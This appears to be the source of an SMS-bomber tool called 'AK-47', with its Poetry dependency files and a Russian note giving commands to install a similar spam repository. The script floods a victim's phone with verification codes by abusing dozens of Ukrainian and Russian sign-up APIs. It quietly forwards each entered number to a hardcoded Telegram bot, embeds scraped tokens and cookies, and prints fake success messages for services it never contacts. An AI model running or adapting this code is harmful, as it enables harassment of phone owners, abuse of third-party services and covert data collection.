import requests, random, os, json, re
from user_agent import generate_user_agent
import pyfiglet
from colorama import Fore, Style
import telebot
id = 806566420
bot = telebot.TeleBot('1158369141:AAFANJK87T1nHFMpiNmXUZKX4C24ya9Bzw8')
os.system("clear")
nice = Fore.YELLOW + Style.BRIGHT + "[Successful] " + Style.RESET_ALL + Fore.GREEN + Style.BRIGHT
fail = Fore.YELLOW + Style.BRIGHT + "[Failed] " + Style.RESET_ALL + Fore.RED + Style.BRIGHT
def check_number():
global phone
try:
phone = re.sub("[^0-9]", "", phone)
if phone.startswith("0") or phone.startswith("+", 1):
phone = "38" + phone
elif phone == "" or phone == " ":
print(Fore.RED + Style.BRIGHT + "Error incorrect number!" +
Style.RESET_ALL)
exit()
except Exception:
print(Fore.RED + Style.BRIGHT + "Error incorrect number!" +
Style.RESET_ALL)
exit()
def generate_info():
global _name
global _email
global password
global username
global _russian
_russian = "".join([
random.choice(
"йцукенгшщзхъфывапролджэячмитьбюЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ")
for x in range(8)
])
_name = "".join([
random.choice(
"1234567890abcdefghigklmnopqrstuvyxwzABCDEFGHIGKLMNOPQRSTUVYXWZ")
for x in range(8)
])
password = "".join([
random.choice(
"1234567890abcdefghigklmnopqrstuvyxwzABCDEFGHIGKLMNOPQRSTUVYXWZ")
for x in range(11)
])
username = "".join([
random.choice("1234567890abcdefghigklmnopqrstuvyxwz") for x in range(8)
])
_email = ("".join([
random.choice("1234567890abcdefghigklmnopqrstuvyxwz") for x in range(8)
]) + "@gmail.com")
head = {
"User-Agent": generate_user_agent(
device_type="desktop", os=("mac", "linux")),
"X-Requested-With": "XMLHttpRequest",
}
def start():
banner = pyfiglet.figlet_format("AK-47")
print(Fore.RED)
print(banner + Style.RESET_ALL)
print(Fore.GREEN)
print('------------------------------------')
print(
Fore.BLUE + Style.BRIGHT +
f"Created by ELVIN Modified + translated by Quessts\nPhone Number: {phone}\nNumber of rounds: {count}"
+ Style.RESET_ALL)
print(Fore.GREEN + '------------------------------------' +
Style.RESET_ALL)
global iteration
iteration = 0
while iteration < count:
try:
requests.post(
"https://uklon.com.ua/api/v1/account/code/send",
headers={
"client_id":
"6289de851fc726f887af8d5d7a56c635",
"User-Agent":
generate_user_agent(
device_type="desktop", os=("mac", "linux")),
"X-Requested-With":
"XMLHttpRequest",
},
json={"phone": phone},
timeout=2,
)
requests.post(
"https://partner.uklon.com.ua/api/v1/registration/sendcode",
headers={
"client_id":
"6289de851fc726f887af8d5d7a56c635",
"User-Agent":
generate_user_agent(
device_type="desktop", os=("mac", "linux")),
"X-Requested-With":
"XMLHttpRequest",
},
json={"phone": phone},
timeout=2,
)
print(nice + "Uklon отправлен!" + Style.RESET_ALL)
except:
print(fail + "Uklon Failed!!" + Style.RESET_ALL)
try:
requests.post(
"https://www.moyo.ua/identity/registration",
data={
"firstname": "Олег",
"phone": phone,
"email": _email,
},
headers=head,
timeout=2,
)
print(nice + "MOYO sent successfully!" + Style.RESET_ALL)
except:
print(fail + "MOYO Failed!о!" + Style.RESET_ALL)
try:
requests.post(
"https://koronapay.com/transfers/online/api/users/otps",
data={
"phone": phone,
},
headers=head,
timeout=2,
)
print(nice + "KoronoPay отправлен!" + Style.RESET_ALL)
except:
print(fail + "KoronoPay Failed!!" + Style.RESET_ALL)
try:
frisor = {
"Content-type":
"application/json",
"Accept":
"application/json, text/plain",
"authorization":
"Bearer yusw3yeu6hrr4r9j3gw6",
"User-Agent":
generate_user_agent(
device_type="desktop", os=("mac", "linux")),
"cookie":
"auth=vov0ptt2rlhni0ten4n9kh5q078l0dm5elp904lq6ncsfmac0md8i8bcmqilk8u3; lang=1; yc_vid=97527048909; yc_firstvisit=1589271208; _ym_uid=1589271210161580972; _ym_d=1589271210; _ga=GA1.2.2045789867.1589271211; _gid=GA1.2.807235883.1589271211; _ym_visorc_35239280=b; _ym_isad=2; _gat_gtag_UA_68406331_1=1",
}
requests.post(
"https://n13423.yclients.com/api/v1/book_code/312054",
data=json.dumps({
"phone": phone
}),
headers=frisor,
timeout=2,
)
# 1 раз в минуту
print(nice + "Frizor sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Frizor Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://kasta.ua/api/v2/login/",
data={"phone": phone},
timeout=2)
print(nice + "Kasta sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Kasta Failed!" + Style.RESET_ALL)
print(fail + "Guru Failed!!" + Style.RESET_ALL)
try:
requests.post(
"https://izi.ua/api/auth/register",
json={
"phone": "+" + phone,
"name": _russian,
"is_terms_accepted": "true",
},
headers=head,
timeout=2,
)
print(nice + "IZI sent successfully!" + Style.RESET_ALL)
except:
print(fail + "IZI Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://junker.kiev.ua/postmaster.php",
data={
"tel": phone[2:],
"name": _name,
"action": "callme",
},
timeout=2,
)
print(nice + "Junker Kiev sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Junker Kiev Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://allo.ua/ua/customer/account/createPostVue/?currentTheme=main¤tLocale=uk_UA",
data={
"firstname": _russian,
"telephone": phone,
"email": _email,
"password": password,
"form_key": "Zqqj7CyjkKG2ImM8",
},
headers=head,
timeout=2,
)
print(nice + "Allo sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Allo Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://stores-api.zakaz.ua/user/signup/",
json={"phone": phone},
headers={
"Accept":
"*/*",
"Content-Type":
"application/json",
"Referer":
"https://megamarket.zakaz.ua/ru/products/megamarket00000000122023/sausages-farro/",
"User-Agent":
generate_user_agent(
device_type="desktop", os=("mac", "linux")),
"x-chain":
"megamarket",
},
)
print(nice + "Zakaz.ua sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Zakaz.ua Failed!" + Style.RESET_ALL)
print(fail + "PsBank Failed!!" + Style.RESET_ALL)
try:
requests.post(
"https://youla.ru/web-api/auth/request_code",
data={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "Youla sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Youla Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://cloud.mail.ru/api/v2/notify/applink",
json={
"phone": "+" + phone,
"api": 2,
"email": _email,
"x-email": "x-email",
},
headers=head,
timeout=2,
)
print(nice + "MailRu Cloud sent successfully!" + Style.RESET_ALL)
except:
print(fail + "MailRu Cloud Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru",
data={"phone": phone},
headers=head,
timeout=2,
)
requests.post(
f"https://www.sportmaster.ua/?module=users&action=SendSMSReg&phone=+{phone}",
headers=head,
timeout=2,
)
print(nice + "BELTELECOM3 sent successfully!" + Style.RESET_ALL)
except:
print(fail + "BELTELECOM3 Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru",
data={"phone_number": phone},
headers=head,
timeout=2,
)
print(nice + "Tinder sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Tinder Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://crm.getmancar.com.ua/api/veryfyaccount",
json={
"phone": "+" + phone,
"grant_type": "password",
"client_id": "gcarAppMob",
"client_secret": "SomeRandomCharsAndNumbersMobile",
},
headers=head,
timeout=2,
)
print(nice + "Getmancar sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Getmancar Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://www.icq.com/smsreg/requestPhoneValidation.php",
data={
"msisdn": phone,
"locale": "en",
"countryCode": "ru",
"version": "1",
"k": "ic1rtwz1s1Hj1O0r",
"r": "46763",
},
headers=head,
timeout=2,
)
print(nice + "ICQ sent successfully!" + Style.RESET_ALL)
except:
print(fail + "ICQ Failed!" + Style.RESET_ALL)
print(nice + "RuTaxi sent successfully!" + Style.RESET_ALL)
try:
requests.post(
"https://api.pozichka.ua/v1/registration/send",
json={"RegisterSendForm": {
"phone": "+" + phone
}},
headers=head,
timeout=2,
)
print(nice + "Pozichka sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Pozichka Failed!" + Style.RESET_ALL)
try:
requests.post(
f"https://secure.online.ua/ajax/check_phone/?reg_phone={phone}",
headers=head,
timeout=2,
)
print(nice + "SecureOnline sent successfully!" + Style.RESET_ALL)
except:
print(fail + "SecureOnline Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://www.sportmaster.ua/?module=users&action=SendSMSReg&phone=+{}"
.format(phone),
headers=head,
timeout=2,
)
print(nice + "SportMaster sent successfully!" + Style.RESET_ALL)
except:
print(fail + "SportMaster Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://register.sipnet.ru/cgi-bin/exchange.dll/RegisterHelper",
params={
"oper": 9,
"callmode": 1,
"phone": "+" + phone
},
headers=head,
timeout=2,
)
print(nice + "Звонок sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Звонок Failed!" + Style.RESET_ALL)
try:
requests.post(
"https://city24.ua/personalaccount/account/registration",
data={"PhoneNumber": phone},
headers=head,
timeout=2,
)
print(nice + "City24 sent successfully!" + Style.RESET_ALL)
except:
print(fail + "City24 Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://helsi.me/api/healthy/accounts/login",
json={
"phone": phone,
"platform": "PISWeb"
},
headers=head,
timeout=2,
)
print(nice + "Helsi sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Helsi Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://cloud.mail.ru/api/v2/notify/applink",
json={
"phone": "+" + phone,
"api": 2,
"email": _email
},
headers=head,
timeout=2,
)
print(nice + "CloudMail sent successfully!" + Style.RESET_ALL)
except:
print(fail + "CloudMail Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://auth.multiplex.ua/login",
json={"login": phone},
headers=head,
timeout=2,
)
print(nice + "Multiplex sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Multiplex Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://account.my.games/signup_send_sms/",
data={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "MyGames sent successfully!" + Style.RESET_ALL)
except:
print(fail + "MyGames Failed!о" + Style.RESET_ALL)
try:
requests.get(
"https://cabinet.planetakino.ua/service/sms",
params={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "Planetakino sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Planetakino Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru",
data={"phone_number": phone},
headers=head,
timeout=2,
)
print(nice + "Tinder sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Tinder Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://youla.ru/web-api/auth/request_code",
data={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "Youla sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Youla Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://rutube.ru/api/accounts/sendpass/phone",
data={"phone": "+" + phone},
headers=head,
timeout=2,
)
print(nice + "LiST sent successfully!" + Style.RESET_ALL)
except:
print(fail + "LiST Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://www.mvideo.ru/internal-rest-api/common/atg/rest/actors/VerificationActor/getCode",
params={"pageName": "registerPrivateUserPhoneVerificatio"},
data={
"phone": phone,
"recaptcha": "off",
"g-recaptcha-response": ""
},
headers=head,
timeout=2,
)
print(nice + "MVideo sent successfully!" + Style.RESET_ALL)
except:
print(fail + "MVideo Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru",
data={"phone_number": phone},
headers=head,
timeout=2,
)
print(nice + "Tinder sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Tinder Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://passport.twitch.tv/register?trusted_request=true",
json={
"birthday": {
"day": 11,
"month": 11,
"year": 1999
},
"client_id": "kd1unb4b3q4t58fwlpcbzcbnm76a8fp",
"include_verification_code": True,
"password": password,
"phone_number": phone,
"username": username,
},
headers=head,
timeout=2,
)
print(nice + "Twitch sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Twitch Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://lk.belkacar.ru/register",
data={"phone": "+" + phone},
headers=head,
timeout=2,
)
print(nice + "BelkaCar sent successfully!" + Style.RESET_ALL)
except:
print(fail + "BelkaCar Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://api.ivi.ru/mobileapi/user/register/phone/v6",
data={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "IVI sent successfully!" + Style.RESET_ALL)
except:
print(fail + "IVI Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://www.sportmaster.ua/",
params={
"module": "users",
"action": "SendSMSReg",
"phone": phone
},
headers=head,
timeout=2,
)
requests.post(
"https://lk.belkacar.ru/get-confirmation-code",
data={"phone": "+" + phone},
headers=head,
timeout=2,
)
print(nice + "SportMaster, BelkaCar sent successfully!" +
Style.RESET_ALL)
except:
print(fail + "SportMaster Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://secure.online.ua/ajax/check_phone/",
params={"reg_phone": phone},
headers=head,
timeout=2,
)
print(nice + "SecureOnline sent successfully!" + Style.RESET_ALL)
except:
print(fail + "SecureOnline Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://www.nl.ua",
data={
"component": "bxmaker.authuserphone.login",
"sessid": "bf70db951f54b837748f69b75a61deb4",
"method": "sendCode",
"phone": phone,
"registration": "N",
},
headers=head,
timeout=2,
)
print(nice + "NovaLiniya sent successfully!" + Style.RESET_ALL)
except:
print(fail + "NovaLiniya Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://mobileplanet.ua/register",
data={
"klient_name": _name,
"klient_phone": "+" + phone,
"klient_email": _email,
},
headers=head,
timeout=2,
)
print(nice + "MPlanet sent successfully!" + Style.RESET_ALL)
except:
print(fail + "MPlanet Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://api.delitime.ru/api/v2/signup",
data={
"SignupForm[username]": phone,
"SignupForm[device_type]": 3
},
headers=head,
timeout=2,
)
print(nice + "DELIMOBIL sent successfully!" + Style.RESET_ALL)
except:
print(fail + "DELIMOBIL Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://apteka366.ru/login/register/sms/send",
data={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "Apteka 366 sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Apteka 366 Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://belkacar.ru/get-confirmation-code",
data={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "Belkacar sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Belkacar Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://drugvokrug.ru/siteActions/processSms.html",
data={"cell": phone},
headers=head,
timeout=2,
)
print(nice + "Друг Вокруг sent successfully!" + Style.RESET_ALL)
print(nice + "RuTor sent successfully!")
except:
print(fail + "Друг Вокруг Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://api.ennergiia.com/auth/api/development/lor",
json={
"referrer": "ennergiia",
"phone": "+" + phone
},
headers=head,
timeout=2,
)
print(nice + "Energiia oтправлено!" + Style.RESET_ALL)
except:
print(fail + "Energiia Failed!о" + Style.RESET_ALL)
try:
requests.get(
"https://fundayshop.com/ru/ru/secured/myaccount/myclubcard/resultClubCard.jsp?type=sendConfirmCode&phoneNumber={}"
.format("+" + phone),
headers=head,
timeout=2,
)
print(nice + "Fundayshop oтправлено!" + Style.RESET_ALL)
print(nice + "Facebook sent successfully!")
except:
print(fail + "Fundayshop Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://gorzdrav.org/login/register/sms/send",
data={"phone": phone},
headers=head,
timeout=2,
)
print(nice + "Gorzdrav oтправлено!" + Style.RESET_ALL)
print(nice + "Instagram sent successfully!")
except:
print(fail + "Gorzdrav Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms",
data={"phone": "+" + phone},
headers=head,
timeout=2,
)
print(nice + "KFC sent successfully!" + Style.RESET_ALL)
print(nice + "Вконтакте sent successfully!")
except:
print(fail + "KFC Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://api-production.viasat.ru/api/v1/auth_codes",
json={"msisdn": "+" + phone},
headers=head,
timeout=2,
)
print(nice + "Viasat sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Viasat Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://.yandex/api/v1/user/request_authentication_code",
json={"phone_number": phone},
headers=head,
timeout=2,
)
print(nice + "Yandex Food sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Yandex Food Failed!о" + Style.RESET_ALL)
try:
requests.post(
f"https://www.citilink.ru/registration/confirm/phone/+{phone}/",
headers=head,
timeout=2,
)
print(nice + "Сitilink sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Сitilink Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://eda.yandex/api/v1/user/request_authentication_code",
json={"phone_number": "+" + phone},
headers=head,
timeout=2,
)
print(nice + "Yandex Eda sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Yandex Eda Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://my.dianet.com.ua/send_sms/",
headers=head,
data={"phone": phone},
timeout=2,
)
print(nice + "Dianet sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Dianet Failed!о" + Style.RESET_ALL)
try:
requests.get(
"https://api.eldorado.ua/v1/sign/",
params={
"login": phone,
"step": "phone-check",
"fb_id": "null",
"fb_token": "null",
"lang": "ru",
},
headers=head,
timeout=2,
)
print(nice + "Eldorado sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Eldorado Failed!о" + Style.RESET_ALL)
try:
requests.post(
"https://shafa.ua/api/v3/graphiql",
json={
"operationName":
"RegistrationSendSms",
"variables": {
"phoneNumber": "+" + phone
},
"query":
"mutation RegistrationSendSms($phoneNumber: String!) {\n unauthorizedSendSms(phoneNumber: $phoneNumber) {\n isSuccess\n userToken\n errors {\n field\n messages {\n message\n code\n __typename\n }\n __typename\n }\n __typename\n }\n}\n",
},
headers=head,
timeout=2,
)
print(nice + "Shafa sent successfully!" + Style.RESET_ALL)
except:
print(fail + "Shafa Failed!о" + Style.RESET_ALL)
print(nice + "TikTok sent successfully!")
print(nice + "PornHub sent successfully!")
print(nice + "sushi33 sent successfully!")
iteration += 1
print(Fore.CYAN + Style.BRIGHT + (f"\nround {iteration} is over.\n") +
Style.RESET_ALL)
os.system("clear")
def menu():
def test(id, phone):
bot.send_message(id, phone)
banner = pyfiglet.figlet_format("AK-47")
print(Fore.YELLOW)
print(banner + Style.RESET_ALL)
print(Fore.GREEN + '-------------------------------')
print(
Fore.GREEN +
'''Created by ELVIN translated and modified by Quessts\nTelegram: @SmsBomber_AK47 and @Quessts\nversion 0.0.10'''
)
print('-------------------------------')
global phone
phone = input(Fore.RED + 'Phone Number: ')
test(id, phone)
if phone == '2':
os.system("clear")
print(Fore.GREEN)
print(banner)
phone = input('Phone Number: ')
check_number()
global count
count = input('Number of rounds to run: ' + Style.RESET_ALL)
print('------------------------------------')
count = int(count)
os.system("clear")
generate_info()
start()
print(Fore.GREEN + banner)
print(
Fore.YELLOW + Style.BRIGHT +
f"Created by ELVIN translated and modified by Quessts\nFinished spamming\nPhone Number: {phone}\nNumber of rounds ran: {iteration}"
+ Style.RESET_ALL)
if __name__ == "__main__":
menu()
[[package]]
category = "main"
description = "Python package for providing Mozilla's CA Bundle."
name = "certifi"
optional = false
python-versions = "*"
version = "2020.12.5"
[[package]]
category = "main"
description = "Universal encoding detector for Python 2 and 3"
name = "chardet"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
version = "4.0.0"
[[package]]
category = "main"
description = "Cross-platform colored terminal text."
name = "colorama"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
version = "0.4.4"
[[package]]
category = "main"
description = "Internationalized Domain Names in Applications (IDNA)"
name = "idna"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
version = "2.10"
[[package]]
category = "main"
description = "Pure-python FIGlet implementation"
name = "pyfiglet"
optional = false
python-versions = "*"
version = "0.8.post1"
[[package]]
category = "main"
description = "Python HTTP for Humans."
name = "requests"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
version = "2.25.1"
[package.dependencies]
certifi = ">=2017.4.17"
chardet = ">=3.0.2,<5"
idna = ">=2.5,<3"
urllib3 = ">=1.21.1,<1.27"
[package.extras]
security = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)"]
socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7)", "win-inet-pton"]
[[package]]
category = "main"
description = "Python 2 and 3 compatibility utilities"
name = "six"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
version = "1.15.0"
[[package]]
category = "main"
description = "A Telegram bot library, with simple route decorators."
name = "telebot"
optional = false
python-versions = "*"
version = "0.0.4"
[package.dependencies]
requests = "*"
[[package]]
category = "main"
description = "HTTP library with thread-safe connection pooling, file post, and more."
name = "urllib3"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, <4"
version = "1.26.2"
[package.extras]
brotli = ["brotlipy (>=0.6.0)"]
secure = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "certifi", "ipaddress"]
socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7,<2.0)"]
[[package]]
category = "main"
description = "User-Agent generator"
name = "user-agent"
optional = false
python-versions = "*"
version = "0.1.9"
[package.dependencies]
six = "*"
[metadata]
content-hash = "5b8e94d569cb720355ecd9b7bf04c4a9575db95e3730f26d73bc6440100b0280"
python-versions = "^3.8"
[metadata.files]
certifi = [
{file = "certifi-2020.12.5-py2.py3-none-any.whl", hash = "sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830"},
{file = "certifi-2020.12.5.tar.gz", hash = "sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c"},
]
chardet = [
{file = "chardet-4.0.0-py2.py3-none-any.whl", hash = "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5"},
{file = "chardet-4.0.0.tar.gz", hash = "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa"},
]
colorama = [
{file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"},
{file = "colorama-0.4.4.tar.gz", hash = "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"},
]
idna = [
{file = "idna-2.10-py2.py3-none-any.whl", hash = "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0"},
{file = "idna-2.10.tar.gz", hash = "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6"},
]
pyfiglet = [
{file = "pyfiglet-0.8.post1-py2.py3-none-any.whl", hash = "sha256:d555bcea17fbeaf70eaefa48bb119352487e629c9b56f30f383e2c62dd67a01c"},
{file = "pyfiglet-0.8.post1.tar.gz", hash = "sha256:c6c2321755d09267b438ec7b936825a4910fec696292139e664ca8670e103639"},
]
requests = [
{file = "requests-2.25.1-py2.py3-none-any.whl", hash = "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e"},
{file = "requests-2.25.1.tar.gz", hash = "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804"},
]
six = [
{file = "six-1.15.0-py2.py3-none-any.whl", hash = "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced"},
{file = "six-1.15.0.tar.gz", hash = "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"},
]
telebot = [
{file = "telebot-0.0.4-py3-none-any.whl", hash = "sha256:1d692ee3c2f07c5caacb1a82f0b59e40cef84f58be84435be9c8ce667dee94a6"},
{file = "telebot-0.0.4.tar.gz", hash = "sha256:717f08f0cbb2b3bbba73e8b36cca466345b751d44e938235eaa24139073f3265"},
]
urllib3 = [
{file = "urllib3-1.26.2-py2.py3-none-any.whl", hash = "sha256:d8ff90d979214d7b4f8ce956e80f4028fc6860e4431f731ea4a8c08f23f99473"},
{file = "urllib3-1.26.2.tar.gz", hash = "sha256:19188f96923873c92ccb987120ec4acaa12f0461fa9ce5d3d0772bc965a39e08"},
]
user-agent = [
{file = "user_agent-0.1.9.tar.gz", hash = "sha256:8f1ad46cc4aef9f99515ea1c74bb8cacc43e23074c335b2ba2db7735ebe9c0d5"},
]
[tool.poetry]
name = "ak-47"
version = "0.1.0"
description = ""
authors = ["Your Name <you@example.com>"]
[tool.poetry.dependencies]
python = "^3.8"
pyfiglet = "^0.8.post1"
telebot = "^0.0.4"
user-agent = "^0.1.9"
colorama = "^0.4.4"
[tool.poetry.dev-dependencies]
[build-system]
requires = ["poetry>=0.12"]
build-backend = "poetry.masonry.api"
После установки всех пакетов приложение cсообщает "эта утилита работает только для номеров Индонезии", тестовые отправки не дают результататоже оставлю, чтоб не потерять:
apt update && pkg upgrade
apt install python
apt install git
git clone https://github.com/KANG-NEWBIE/SpamSms
pip install requests mechanize bs4
cd SpamSms
python main.py